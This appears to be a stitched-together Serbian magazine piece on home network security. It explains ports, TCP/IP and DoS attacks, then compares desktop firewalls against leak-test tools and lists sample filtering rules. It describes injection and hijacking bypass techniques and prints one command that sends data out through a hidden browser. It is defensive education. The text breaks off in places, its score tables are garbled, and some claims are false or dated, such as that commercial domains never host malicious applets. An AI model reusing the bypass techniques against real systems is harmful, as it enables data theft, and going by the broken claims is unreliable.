mnogo raunara na Internetu koji su prikaeni 24h i imaju svoju IP adresu koja se ne menja, ali veina nas, koji se
prikaimo s vremena na vreme da razmenimo potu ili prosurfujemo Internetom, dobijamo tzv. dinamiku IP adresu
(svaki provajder ih ima nekoliko i kada se neko prikai na Internet, dobije prvu slobodnu). Ove adrese (odnosno
brojevi) vam mogu pomoi da identifikujete sagovornika, jer se za one stalne IP adrese tano zna kome pripadaju dok
se za dinamike vodi evidencija kod provajdera kome su bile dodeljene u odreenom trenutku. Kada elite da pristupite
nekom raunaru, sve to je potrebno je da otkucate njegovu adresu, ali da bi nam prekratili muke, uvedeni su tzv. DNS
(Domain Name Server) raunari koji prevode adrese tipa www.zastita.co.yu u IP adresu i obrnuto.
Sama adresa nije dovoljna, jer je potrebno obezbediti posebne kanale za komunikaciju kako ne bi dolo do zabune.
Zbog toga su uvedeni portovi - zamislite ih kao autoput na ulazu u grad sa 65536 traka (koliko god pomisao na
puevske brzine u domaim uslovima ometa sliku autoputa) i dva raunara koja se uvek dogovoraju kojim e se
trakama odvijati saobraaj. Poto je standardizacija uvek poeljna, portovi sa brojevima manjim od 1024 su rezervisani
i imaju specijalnu namenu (znai samo za posebna "vozila") dok su oni preostali namenjeni korisnicima. Tako npr.
kada skidate neke fajlove sa ftp servera, va raunar e dotinom slati sve komande samo na port 21, a dotini e ih
samo tamo i oekivati. Neki drugi program, recimo ICQ, moe bez problema slati podatke na port 1508 a primati ih na
1509. To objasnjava kako je mogue istovremeno surfovati na tri stranice, skidati nekoliko fajlova, slati i primati potu
i chatovati.
Dakle, razjasnili smo ta je IP adresa a ta port. Doli smo do pingovanja.
Pingovanje je slanje podataka sa jednog kompjutera na odreenu IP adresu i odreeni port. Na prvi pogled, tu nema
nieg opasnog, tako rade svi programi za Internet, ali zamislite da na tom udaljenom kompjuteru kome se alje taj paket
podataka postoji trojanac koji oslukuje unapret definisani port. ta e se desiti? Prvi kompjuter koji koristi haker, e
uspostaviti vezu sa drugim kompjuterom, i moi e da radi sa tim kompjuterom sve to mu u normalnim situacijama
nije dozvoljeno.
Meutim, ukoliko udaljeni raunar nema nikakvog trojanca, teorijski se nita nee desiti. Naravno, to je samo teorija,
u praksi nije uvek tako. Win95 ima bug koji dozvoljva hakeru da na portu 137, koji je inae rezervisan za NetBios
servis, poalje odreeni skup karaktera (paket podataka). Windows 95 e pokuati da protumai ta znai taj skup karaktera i iz neobjanjivih razloga e upasti u mrtvu petlju i blokirae ceo sistem. Ovaj BUG je ispravljen u Win98, tako
da nema razloga za paniku.
Kao to i sami vidite, vi kao obian korisnik nemate nikakvu kontrolu nad podacima koji dolaze i odlaze sa vaeg
raunara. Zato postoji Firewall, program (a na nekim serverima i poseban hardverski dodatak) koji belei sve to proe
kroz va modem ili link. U zavisnosti od proizvoaa, imamo puno Firewallawa (najhvaljeniji je Ciscov Firewall), koji
se meusobno razlikuju po opcijama a u sutini imaju istu svrhu: a to je nadgledanje i filtriranje Internet saobraaja.
Mi emo za ovaj broj asopisa detaljno opisati AtGuardov Firewall koga moete skinuti sa sajta www.zastita.co.yu.
AtGuardov Firewall se instalira kao i svaki drugi usluni program.
Posle Instalacije, AtGuard je podeen da se automatski startuje kada se ulogujete na Internet, to je i dobro jer vam
Firewall ne treba kada niste na Internetu. Sve ostale opcije su takoe podeene tako da je Firewall odmah spreman za
korienje.
Napomenuli smo da se svaki Firewall razlikuje po neemu. AtGuard se razlikuje od veine Firewalla po tome to na
poetku ne doputa ni jednom programu (npr. ICQ, Netscape ili IE) da pristupi Internetu dok mu vi ne dozvolite. Ovo
je veoma korisna mogunost jer moete da vidite ako neki nepoznati program (najee trojanac) pokua da uspostavi
kontakt sa hakerom.
Poto je za AtGuard svaki program nepoznat, moraete tokom prvog boravka na Internetu sa Firewallom da neke
programe proglasite za legalnim programima.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Neko e na kraju pitati zato blokirati paket ako je upuen portu koji ni jedan program ne oslukuje. I mi lino mislimo
da je to malo glupo, ali, nikad se nezna, moda taj paket otvori skrivena vrata u sistemu ili blokira ceo sistem, kao to
je to sluaj sa portom 137 i Windowsom95. I naravno, AtGuard je ipak duan da prijavi pingovanje, jer te podatke
moete poslati provajderu koji e kazniti hakera zbog pokuaja da na vaem kompjuteru pronae trojanca i iskoristi ga
da bi upao na va kompjuter.
Posle nekoliko minuta, sve e biti definisano i moi ete bez problema da koristite Internet, a za nekoliko dana, kada
otkrijete sve ostale mogunosti Firewala, shvatiete koliko ste sada bezbedniji i inie vam se kako je sve pod vaom
kontrolom.
Nadamo se da vam je ovaj tekst razjasnio neke stvari i pokazao kako da na najbolji nain zatitite va kompjuter.
Zastita za JavaActivex apleta
Ipak, moramo priznati da je zaista tesko naleteti na zlobne Java ili ActiveX aplete. Surfujuci normalno, znaci ne zalazeci na neciji home-page koji je okacen recimo na nekom javnom serveru, sigurno ne mozete naleteti na tako nesto.
Domeni tipa COM, NET, ORG, CO.YU itd sigurno ne sadrze zloban Java ili ActiveX aplet jer takve sajtove sigurno
ne drze lameri koji bi mogli da ubace takav aplet. Znaci, mogucnost da se zarazite od takvih virusa je vrlo malo, cak i
nemoguca.
Medjutim, stvar se komplikuje kada lameri slucajnim odabiranjem pronadju zrtvu (najcesce preko ICQa) i upute je na
njihov home-page koji verovatno sadrzi neki zloban Java aplet. lameri uglavnom upute zrtvu na njihov home-page sa
porukom tipa "ovo moras da vidis" ili "pogledaj sliku NLOa" i zrtva jednim klikom misa pokrene svoj browser i uputi
ga na zadatu adresu. Naravno, kada browser ucita stranicu, aplet se startuje i izvrsi odredjenu komandu. Samo masta
lamera moze da bude granica u pisanju tog apleta. Aplet moze recimo da posalje svom gospodaru sifru koju zrtva
koristi za citanje maila, moze da pokrene bilo koj program na tom racunaru (a program moze da bude destruktivan) ili
moze da kopira fajlove sa tog racunara na racunar lamera ! Znaci, stvar je veoma ozbiljna.
Ali, sve bi to bilo lepo za lamere kada zrtva ne bi imala Antivirus i kada bi imala browser koji ima rupu koja omogucava zlobnom apletu da se izvrsi!
Prva zastita je najnoviji antivirus. Spisak najboljih antivirusa je ovde!
Druga zastita je verzija browsera koji nema ovakvu rupu! Znaci, najnoviji Internet Explorer (jaci od 4.0) ili najnoviji
Netscape (isto jaci od 4.0).
I treca zastita je podesavanje vaseg browsera na najveci stepen sigurnosti :
Za IE4.0 izaberite meni View/Internet Options, izaberite jezicak Security i postavite browser na MEDIUM ili HIGH
vrednost.Posle ovoga, browser ce vas pitati da li da startuje aplet uvek kada naidje na sumnjiv Java/ActiveX aplet(vidi
sliku 1).
Ukoliko zelite, skinite i najnovije zakrpe za Java aplete koja se nalazi ovde
Druga zastita za IE 4.0 je meni View/Internet Options, izaberite jezicak Advanced i podesite opcije Security i Java po
svojoj volji (vidi sliku 2).
Bilo kako bilo, sajt na kome imate sve o bezbednosti IE-a se nalazi na adresi
http://www.microsoft.com/windows/ie/security/default.asp
Netscape je malo bezbedniji ali i on ima propuste, a na svu srecu i zakrpe koja se nalaze na adresi
http://home.netscape.com/home/update.html
Lokacije gde mozete naci sve zakrpe:
http://support.microsoft.com Ovde cete pronaci zakrpe za sve Microsoftove programe. Registracija je obavezna. Ako
zelite da dobijete najnovije zakrpe za IE izaberite meni Help/Product Updates. http://help.netscape.com Na ovoj
Application layer - Interfejs krajnjeg korisnika. Na ovom nivou rade korisnike aplikacije(Outlook, IE, Opera...)
Presentation layer - Konvertuje podatke iz aplikacija u format pogodan za dalju obradu.
Session layer - Koordinira komunikaciju izmeu dva raunara. Poseduje Timing i Flow control funkcije.
Transport layer - uspostavlja, odrava i prekida komunikaciju dve maine.
Network layer - prepoznaje topologiju mree i odgovoran je za adresiranje i rutiranje. Zaduen je za pronalaenje
najboljeg puta za slanje podataka.
Data Link layer - prepoznaje mrene tehnologije (Ethernet, Token, ATM, X.25, Frame relay...) i vri korekciju
greaka nastalih u prenosu ukoliko je u mogunosti.
Physical layer - prepoznaje tip medija (UTP, BNC, Fiber...) i puta podatke u kabl.
TCP/IP DoD model, nastao je kada je Departement of Defence razvilo nov model mrenog protokola da bi unapredio
prethodni OSI Model(Open Systems Interconnect). TCP/IP je skup protokola, od kojih su najbitniji TCP i IP.
Kao to vidite,tok informacija u odlazeem i dolazeem saobraaju se razlikuje. to je i logino ako pogledate, prvo ste
nekoj aplikaciji rekli da alje neto kroz mreu, i kada to stigne na odredite, logino je da e prvo da stigne na
mrenu kartu ili modem.
Kada aplikacija poalje podatke kroz mreu, oni se sputaju po nivoima TCP/IP skupa protokola, i na svakom nivou,
podatku se pridruuje jedan deo koji potpisuje svaki od ovih nivoa. Kada se podatak primi, podatak sadri prvo potpis
poslednjeg nivoa, i kada ga obradi poslednji nivo, ukida taj potpis, alje ga na vii nivo, dok svi nivoi ne ukinu svoje
potpise i podatak konano ne stigne na odredinu aplikaciju. Znam da je malo zaguljeno, ali evo slike ;)
TCP (Transport Control Protocol) je konekciono orijentisan i zahteva uspostavljanje sesije pre nego otpone slanje
paketa. TCP paketi se isporuuju na socket-e. Socket je krajnja taka mrene konekcije definisana IP adresom i
brojem porta. TCP ima 65535 portova. Od toga su od 0 do 1023 serverski portovi(predefinisani) i neki od njih su 20,21
FTP, 23 Telnet, 25 SMTP(Simple Mail Transport Protocol), 53 DNS(Domain Name System)itd. Konekcija se ostvaruje
putem tzv. Three way handshake.
Dakle, raunar levo alje zahtev za konekciju u vidu Syn(Synchronize) i Seq(Sequence)xx. xx je proizvoljan broj i slui
za verifikaciju konekcije. Raunar desno vraa paket u vidu Ack(Acknowledge)xx, Syn(Synchronize) i
Seq(Sequence)yy. xx je isto to i Seq u zahtevu za konekciju samo to je povean za jedan, i time potvreno da je
prethodni zahtev shvaen i uvean za jedan. yy je opet provera da li je konekcija uspeno uspostavljena s tim to je
sada proizvodni broj neki drugi. Konano, raunar levo, alje potvrdu da je primio prethodni Seq i uveao ga za jedan.
Sledee to sledi jeste samo slanje/primanje podataka. Nacrtano ovo bi izgledalo ovako:
1. Raunar levo alje raunaru desno poruku: "Jel moemo da razgovaramo? Da li me uje?"
2. Raunar desno alje poruku raunaru levo: "Moemo da razgovaramo. A da li ti mene uje?"
3. Raunar levo alje poruku raunaru desno: "ujem i ja tebe."
Raunar levo i raunar desno sada traare: "Blah?" -"Bloh, bloh. Bla blobla blabl zaba" "Zaba? A, Zabaaa" ;)
Sve ovo ide preko "nekih" portova. Recimo kada zatraite neki web sajt, skoro je sigurno da e vam destinacioni
raunar poslati taj sajt preko porta 80. Ono to najverovatnije nikada neete moi sa sigurnou znati jeste na koji
port e vam ta stranica stii, iz prostog razloga to jednom otvorenom konekcijom otvarate jedan port i taj port nee
moi biti upotrebljen dok se konekcija zavri.
Osim ovih gore navedenih flegova, postoje jo neki, ali za sada je i ovo dovoljno.
Postoji jo recimo primer u drugom koraku, ukoliko desni raunar odbije konekciju, poalje RST/ACK ali to emo videti
kada doemo do DoS napada...
UDP (User Datagram Protocol) nije konekciono orijentisan, ne garantuje isporuku paketa i bri je od TCP jer mu je i
header manji. Obino se koristi za realtime audio, video i slino. E sada, vi se pitate zato recimo za realtime ne
koristimo TCP. ta moe biti prednost UDP protokola nad TCP. Primer, sluam muziku na radio stanici internetu i
naravno veza se zaglupi, prekine se veza, ja se konektujem ponovo. I pesma se zavrila, poela pria o FESTU i ja
sluam dalje. E kod TCP protokola, obzirom da je konekciono orijentisan, i da kontrolie transport, kada bih se ponovo
konektovao, u trenutku kada bi Gordan Kii(gotivan je lik, i gotivi SW ;)poeo svoju priu meni bi u etar uleteo neki
akord pesme, ko zna od kad, jer pametni TCP je video da ja taj paket nisam nikada primio, i poslao mi ga ponovo. U
prevodu, UDP je tupan koji puta u etar podatke i uopte nije svestan niti ga zanima da li su podaci stigli na odredite.
Upravo injenica da nije konekciono orijentisan, ini ga veoma pogodnim za DoS napade. Kao i TCP ima 65535
portova i pakete isporuuje na sockete. Napomenuu samo UDP port 53 koji je DNS kao i kod TCP.
IP (Internet Protocol) Huh, aj sad ovako Poto smo videli model TCP/IP, u najniem nivou vidimo Network Layer
koji je zaduen za mrene tehnologije. Svaka mrena tehnologija ima svoj nain adresiranja. Tipa, web sajt u Japanu
koji radi na Token ring mrei(da, malo je verovatno ali isto primera radi ;)), pa ide preko Sonet mree, pa preko X.25
i tako dalje dok ne stigne do nas. Sve ove mrene tehnologije koriste svoje algoritme za adresiranje, i tako kada se
algoritam na Network layeru za adresiranje menja, IP koristi unikatan sistem adresiranja i uvek je isti. Svaki raunar
vidljiv na internetu ima unikatnu IP adresu po kojoj se izdvaja od ostalih.
Najvanije informacije headera ovog protokola su:
1. TTL(Time To Live) default 128 hopova. Ovo je vrlo bitno za rad samog interneta, i govori ruterima koliko e paket
biti validan dok ga ruter ne ubije. Praktino 1 hop znai jedan skok preko nekog rutera. Kada hop padne na 0, trenutni
ruter na kome se paket nalazi ga u tom trenutku ubije, i paket vie ne luta internetom i ne zaguuje saobraaj. 2.
Header koji nosi oznaku transportnog protokola da bi maina koja ga primi znala gde da ga usmeri na izvravanje.
3. Source address
4. Destination address
ICMP (Internet Control Message Protocol) protokol koji slui da bismo mogli da proverimo status mree. Program koji
koristi ovaj protokol je ping. Ovaj protokol moe da nosi sa sobom samo kontrolne poruke. Ne moe da prenosi
podatke i ne moe se koristiti za hakovanje maina iz oiglednog razloga. Nema portove, mada neki stariji firewall
prijavljuju portove na ICMP protokolu, koji su u stvari tipovi. Pa tako recimo tip 8 je Echo Request, kada pingujete
neku udaljenu mainu aljete Echo Request a vraa vam se Echo Reply ili tip 0. Ono to najee viate je Destination
Unreachable tip 3, Time Exceeded tip 11. Tip 11 je direktno vezan za IP protokol i TTL informaciju u headeru paketa.
Znai da je ping otiao preko 128 rutera i tamo bio "ubiven ko sudija Falkone sa tonu eksploziva" :D
Portovi od 1 do 1024 su servisni portovi striktno vezani za servise, od 1024 do 49151 registrovani i dinamiki ili
privatni od 49152 do 65535. Teoretski, privatne portove ne bi trebalo da koristi ni jedna aplikacija. Obzirom da je
mogua samo jedna konekcija po portu, esto ete videti u firewall logu da je internet explorer ostvario konekciju sa
www.microsoft.com preko porta 1067, sa www.yahoo.com preko porta 1068 i sa www.benchmark.co.yu preko porta
1069. To ne bi trebalo da vas brine jer je to normalno, ali kada vidite da je neko pokuao da ostvari konekciju sa
vaim raunarom preko porta 31337 onda je sigurno da taj neko skenira internet u potrazi sa tojancima. Konkretno
ovaj port koristi trojanac Back Orifice i svojevremeno je pravio ou po internetu.
DoS(Denial of Service)
Svaki napad na neku mreu pri kome se onemoguava nesmetan rad servera/mree zove se Denial of Service(DoS).
Tipovi su jo i DDoS(Distributed Denial of Service) kada se koristi vie maina da bi se sruio jedan server i
DRDoS(Distributed Reflection Denial of Service). Vie informacija http://grc.com/dos/drdos.htm
ICMP/DoS (old skool exploit)
Note za decu od 13 godina i manje: nemojte se loiti na ovo, ovo je matoro koliko i internet i nemojte dabe
pokuavati...
Vi otkucate ping www.microsoft.com (Echo Request) i dobijete Echo Reply od www.microsoft.com sa vremenom i
TTL(vidi IP protokol) umanjen za broj rutera do M$ web sajta. E sada, default paket je 32bytes. ta bi se desilo kada
bi mogli da pingujemo sve maine(broadcast adresa neke mree) u microsoft.com domenu iz jedne komande sa
veliinom paketa od recimo 64KB? Pa, reply bi nam ubio mainu ko zeca, jer bi nam nekih 10tak hiljada maina vratilo
64KB i tako 4 puta. E, a ta bi bilo kada bi mi nekako poslali ping sa nae maine, ali tako da ne sadri nau IP
adresu, ve recimo adresu Symantec web sajta? E u tom sluaju bi dobili DoS napad, jer bi ceo microsoft.com domen
vratio kuku i motiku na Symantec sajt.
Drugi primer DoS napada. Setite se 3 way handshake. Pogledajte drugi korak. ta bi se desilo, kada bi nekako mogli
da poaljemo Syn paket sa nekom drugom adresom od nae u prvom koraku? Kako su serveri pametni. Kada mu ne
stigne 3 korak od klijent maine, da je razumeo prehodni Syn, server e u ovom sluaju poslati jo jedan Syn paket
mislei da se prethodni paket izgubio. Ako nastavimo da ga bombardujemo sa Syn paketima sa nepostojeim IP
adresama(bitno je da je nepostojea jer ako postoji adresa, taj raunar e poslati RST fleg jer nije nikada ni zatraio
konekciju i krug se zatvara jer se konekcija ovim prekida), oduzimamo resurse serveru i pravimo listu paketa gde
server treba da poalje Ack paket i konano, sa puno poluotvorenih konekcija server krahira. Opet laiki kada bi u
drugom koraku server rekao:
"Moemo da razgovaramo. A da li ti mene uje?" i ekao odgovor. Kako niko ne bi mogao da mu poalje potrvdu da
je primio taj paket, server bi ponovo rekao "Moemo da razgovaramo. A da li ti mene uje?", i tako u nedogled.
Povrh svega, svi sledei ispravni paketi od strane regularnih korisnika koji pokuavaju da otvore Symantec web sajt e
biti odbijeni jer server nije razreio prethodne pokuaje konekcije upuene od strane napadaa. Postoje jo i Ping of
death, Land, ICMP Flood, UDP Flood, kao i mnogi drugi. U svakom sluaju zainteresovani mogu da proitaju o
tome na internetu...
Kako je testirano:
Obzirom da sam primetio da neki fw imaju izvesnu nekompatibilnost sa hardverom dau kompletnu konfiguraciju
Athlon XP TB 1700@2Ghz
Spectek 512MB 200Mhz
Abit NF7-S
Maxtor 40GB 7200
Ati Radeon 8500LE
CDRW Teac W-58E
DVDRW Nec 1300A
Windows XP (DX9b zbog Ati drajvera)
Onda je to lepo spakovano u Ghost image, i za svaki fw test je vraan image. isto da se ne sudaraju zaostale
komponente fwova.
Svaki fw je instaliran i testiran prvo sa svojim default podeavanjima "out of the box" a posle toga sam ih runo
podeavao i pojaavao security tako da sam ukljuivao neke napredne opcije za kontrolu programa i filtriranje
saobraaja. U tabelama se vidi i da li firewall moete instalirati na serverski operativni sistem(poto sve vie ljudi
koristi Windows 2003 Server downgradeovan na Workstation) ali ta informacija nije ulazila u score, iz prostog razloga
to je filtriranje saobraaja na serverima drastino drugaije od onoga na desktop mainama. Tamo gde je postojala
opcija automatskog pojaavanja opcija u vidu Low, Medium i High, podeavao sam ih po tome, a gde nije runo sam
podeavao sva setovanja koja bi mogla uticati na sigurnost filtriranja i to uglavnom zabranom Windows Explorera da
ide na internet. Tamo gde nema Tweaked Settings testa, znai da firewall nije pokazao znaajna poboljanja posle
doterivanja odnosno nema nekih naprednih podeavanja koja po defaultu nisu ukljuena. Primer je kerio kome su sva
napredna podeavanja ukljuena izuzev moda nekih koje stvarno nisam imao vremena da traim i eksperimentiem.
Testovi koji se baziraju na slanju poruka na odreene portove (Firehole, Yalta), kontrolisao sam programom NetCat
koji je sluao saobraaj na zadatim portovima kao i programom Essential Net Tools koji takoe ima mogunost
sluanja odreenih portova kako TCP tako i UDP protokola.
No, krenimo redom.
iexplore.exe http://grc.com/lt/leaktest.htm?PersonalInfoGoesHere
Pokrenuti prozor je skriven. Ukoliko web browser ima dozvolu da pristupi portu 80 (standardan HTTP port), podaci e
biti poslati na zadatu adresu. Imajte na umu da ove informacije mogu biti lozinke ili broj kreditne kartice...
PC Audit, dll injection, application hijacking
PCAudit koristi DLL injection za ubacivanje koda (kao DLL) u autorizovanu aplikaciju. Ako ciljna aplikacija ima full
access, PC Audit e proi bez problema ukoliko firewall ne primeti dll injection i sprei ga.
Yalta default rule using
Ima dva testa: klasini i napredni.
Klasini test pokuava da poalje UDP pakete na portove koji su esto dozvoljeni kao to su 53(DNS), 21(FTP) itd u
nadi da e i njemu biti dozvoljen pristup. Obzirom da su odreeni portovi po defaultu omogueni (53 DNS) velika je
verovatnoa da neprimeen izae na internet. Advanced test je mogu samo pod Win9x/Me operativnim sistemima.
Thermite, Copycat process injection
Thermite, za razliku od ostalih testova koji ubaciju kod u drugi proces putem DLLova, svoj kod ubacuju direktno u
proces tako to kreiraju maliciozni thread. Ispostavilo se da je ovo teak zadatak za sve desktop firewalle trenutno na
tritu.
CopyCat kao i Thermite, koristi direktno ubacivanje koda (ali bez kreiranja dodatnog threada) u web browser i tako
sebi omoguava izlaz na internet.
Wall breaker launcher
Prvi test : WallBreaker koristi explorer.exe za pokretanje iexplore.exe da bi ostvario izlaz na internet, ali tako to jedna
aplikacija, Windos Explorer, pokree drugu, Internet Explorer. Iako zvui trivijalno, mnogi su pali na ovom testu.
Praktino, iako firewall kontrolie ko koga startuje, u ovom sluaju Windows Explorer legalno pokree IExplore.exe kao
to bi ga mi pokrenuli iz Start menija.
Drugi test : Direktno startovanje internet explorera, na nain na koji ga neki od testiranih firewall nisu primetili.
Trei test : Varijacija prvog testa, ali ovoga puta se prvo pokree cmd.exe, zatim on pokree explorer.exe i konano
on pokree iexplore.exe: Wallbreaker -> cmd -> explorer -> iexplore
Opet veoma teak zadatak (samo pod Win 2000/XP)
Ghost launcher/timed attack
Generalno gledano, kada aplikacija pristupi Internet zoni, firewall koristi Winodws API(Application Programming
Interface) da bi dobila parent PID (Process ID) i ime (aplikacija koja ima dozvolu za izlazak na internet), i kada prikupi
informacije, zamrzne proces(susspend), i upita vas ta da radi(Allow/Deny). Da bi izbegao da bude primeen, Ghost
laiki reeno, pokrene iexplore.exe, promeni sopstveni PID tako to se resetuje i nastavi da alje podatke Internet
Exploreru.
AIWT od svega po malo
One: Pokuava da uita kopiju default browsera i modifikuje je u memoriji pre nego to se izvri. Ovaj test ne
primeuju samo najslabiji firewalli. (direct execution)
Two: Kreira thread na uitanom web browseru. (dll injection)
Three: Kreira thread na Windows Exploreru. (dll injection, default rule setting)
Four: Pokuava da uita kopiju default browsera kroz Windows Explorer i da je modifijuje u memoriji pre nego se
izvri. (default rule)
Five: Izvrava pretragu proxyja i ostalih programa autorizovanih za izlazak na internet kroz destinacioni port 80,
uitava kopiju i modifikuje je u memoriji pre izvrenja, a sve to kroz thread Windows Explorera. Veoma napredan test.
(program hijack)
Six: Izvrava pretragu proxyja i ostalih programa autorizovanih za izlazak na internet kroz destinacioni port 80, trai
od korisnika da izabere proces, i onda kreira nov thread na selektovanom procesu. Jo jedan napredan test. (program
hijack)
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:1
;
;
;
:
;;;
:
;
2/10
;
:
$45
11/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
:
:
;
:
:::
:
:
5/10
;
;
$39.95
8/22
Tweaked settings
;
:
;
;
;
:
;:;
:
:
10/10
;
;
$39.95
17/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
;
;
;
:
:;;
:
:
1/10
;
:
$49
8/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
;
:
;
;
:
:;:
:
;
2/10
;
;
$39
9/22
Tweaked settings
;
;
:
;
;
;
:;:
:
;
10/10
;
;
$39
18/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
:
:
:
:
:::
:
:
0/10
;
:
$49.95
2/22
Tweaked settings
;
;
;
;
;
:
:;:
:
;
10/10
;
:
$49.95
18/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
:
:
:
:
:
:
:::
:
:
0/10
;
;
$49.95
1/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
:
:
:
:
:::
:
:
1/10
;
:
$39.99
3/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
:
;
:
:
:::
:
:
1/10
;
;
Tweaked settings
;
;
:
;
:
;
::;
:
:
10/10
;
;
4/22
16/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
:
;
:
:
:::
:
;
1/10
:
:
$39.00
4/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
:
:
:
:
:
:
:::
:
:
0/10
;
;
$39.95
1/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:1
:
;
;
:
:;:
:
:
2/10
;
;
$39.95
7/22
Tweaked settings
;
;
:
;
;
:
:;:
:
:
3/10
;
;
$39.95
9/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
:
;
:
:
:::
:
:
0/10
:
:
2/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;1
:
:
:
:
:
:::
:
:
0/10
:
:
$39.95
1/22
1. Detektovao ga kao Leak test utility, verovatno kroz neki heuristic check
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
:
:
:
:
:::
:
:
0/10
;
;
$39.95
2/22
Tweaked settings
;
;
;
;
;
:
;;;
:
:
4/10
;
;
$39.95
13/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
;
:
:
:
:
:
:::
:
:
0/10
:
:
$39.95
1/22
Leak test
Fire hole
Ghost
PC Audit
Tool Leaky
Thermite
Wall breaker
CopyCat
Yalta
AIWT
Stateful inspection
Server familija
Cena
Score
Default settings
:
:
:
:
:
:
:::
:
:
0/10
;
:
$39.95
1/22
Dodatak
Korisni linkovi:
http://scan.sygate.com/probe.html
http://www.auditmypc.com/
http://www.pcflank.com/about.htm
https://grc.com/x/ne.dll?bh0bkyd2
http://scan.sygatetech.com/
http://security1.norton.com/
Korisna podeavanja filtriranja saobraaja
Ovo su neke polise koje sam prikupio sa interneta, neke su moje. U svakom sluaju, vodite rauna koje
ete polise primeniti kao sistemske(one koje se prve primenjuju bez obzira na aplikaciju i u sluaju
konflikta imaju prvenstvo) i koje ete primeniti eksplicitno na aplikacije. Moj savet je da definitivno
ubijete Windows Exploreru izlaz na internet(mnogi testovi su proli samo zato to je Windows
Exploreru po defaultu dozvoljen izlaz na internet), da polisu za svchost.exe primenite kao sistemsku i
ostale polise primenite eksplicitno na aplikacije.
svchost.exe
Allowing DHCP
Protocol: UDP
LocalPort: 68
RemotePort: 67
Direction: Inbound
AllowIt
Blocking "SSDP
Discovery Service"
and "UPnP device
Host" services
Protocol: UDP
RemotePort: 1900
RemoteHost:
239.255.255.250
Direction: Inbound
DenyIt
Allowing DNS
Protocol: UDP
LocalPort: 53
AllowIt
Time Synchronizer
connection
Protocol: UDP
RemotePort: 123
AllowIt
(po potrebi)
Blocking "SSDP
Discovery Service"
and "UPnP device
Host" services
Protocol: TCP
RemotePort: 5000
RemoteHost:
239.255.255.250
Direction: Inbound
DenyIt
Blocking "SSDP
Discovery Service"
and "UPnP device
Host" services
Protocol: UDP
RemotePort: 5000
RemoteHost:
239.255.255.250
Direction: Inbound
DenyIt
Allowing HTTP
connection
Protocol: TCP
RemotePort: 80
Direction:
Outbound
AllowIt
Blocking "Remote
Procedure Call"
Protocol: TCP
Local port: 135
DenyIt
Allowing HTTPS
connection
Protocol: TCP
RemotePort: 443
Direction:
Outbound
AllowIt
Web browseri:
Protocol: TCP
Direction: Outbound
Remote Port(s): HTTP
(80), 81-83
Action: Allow It
Surfs up! isto surfovanje,
s tim da ukoliko poseujete
sajtove koji rade na drugim
portovima, uglavnom sam
kineze video da to vole da
rade, dodajte i njih. Portovi
e uglavnom biti sa
poetnom cifrom 8xxx...
Protocol: TCP
Direction: Outbound
Remote Port(s): FTP
(21)
Action: Allow It
Protocol: TCP
Direction: Inbound
Remote Port(s): FTP
DATA (20)
Action: Allow It
FTP konekcija iz browsera.
Ja je lino ne preferiram,
ali ima korisnika koji ne
koriste FTP klijente. Za one
koji nisu upueni FTP
koristi 2 porta...
Protocol: TCP
Direction: Outbound
Remote Port(s): HTTPS
(443)
Action: Allow It
SSL za online transakcije,
hotmail i sve to ide preko
secure kanala.
Protocol: TCP
Direction: Outbound
Remote Port(s):
SOCKS (1080)
Action: Allow It
Za korisnike koji koriste
SOCKS proxy servere...
Protocol: TCP
Direction: Inbound
Local Port(s): 102465535
Action: Allow It
Protocol: TCP
Direction:Outbound
Remote Port(s): 102465535
Action: Allow It
PASV mod za FTP konekciju.
Obratite panju na opseg
portova! Ako ostavite
ovako, svaki dolazei i
odlazei zahtev e biti
proputen. Ko ima iole malo
mozga, ograniie ovo na
iskljuivo one sajtove na koje
se kai. npr Remote Host:
192.168.1.40
Protocol: TCP
Direction: Inbound
Remote Port(s): 1375
Action: Allow It
E-Mail klijenti:
Protocol: TCP
Direction: Outbound
Remote Port(s): SMTP (25)
Action: Allow It
Polisa se koristi kada god e-mail
klijent alje potu. Koristi SMTP
(Simple Mail Transfer Protocol) da
poalje potu e-mail serveru kod
provajdera.
Protocol: TCP
Direction: Outbound
Remote Port(s): IMAP (143)
Action: Allow It
